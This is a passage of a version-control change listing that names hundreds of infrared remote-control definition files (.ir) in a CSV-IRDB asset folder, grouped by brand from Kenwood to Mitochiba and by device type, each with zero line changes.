Tape/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir | 0 .../optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir | 0 .../_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir | 0 .../_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir | 0 .../_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir | 0 .../optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir | 0 .../optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir | 0 .../optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir | 0 .../optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir | 0 .../optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir | 0 .../optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir | 0 .../optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir | 0 .../optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir | 0 .../optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir | 0 .../optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir | 0 .../optional-assets/_CSV-IRDB_/LG/TV/1,1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir | 0 .../_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir | 0 .../optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir | 0 .../_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir | 0 .../_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir | 0 .../_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir | 0 .../optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir | 0 .../optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir | 0 .../optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir | 0 .../optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir | 0 .../_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir | 0 .../_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir | 0 .../optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir | 0 .../_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir | 0 .../_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir | 0 .../_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir | 0 .../optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir | 0 .../optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir | 0 .../optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir | 0 .../optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir | 0 .../_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir | 0 .../_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir | 0 .../optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir | 0 .../optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir | 0 .../optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir | 0 .../optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir | 0 .../optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir | 0 .../optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir | 0 .../optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir | 0 .../optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir | 0 .../optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir | 0 .../_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir | 0 .../_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir | 0 .../_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir | 0 .../_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir | 0 .../_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir | 0 .../optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir | 0 .../_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir | 0 .../optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir | 0 .../_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir | 0 .../_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir | 0 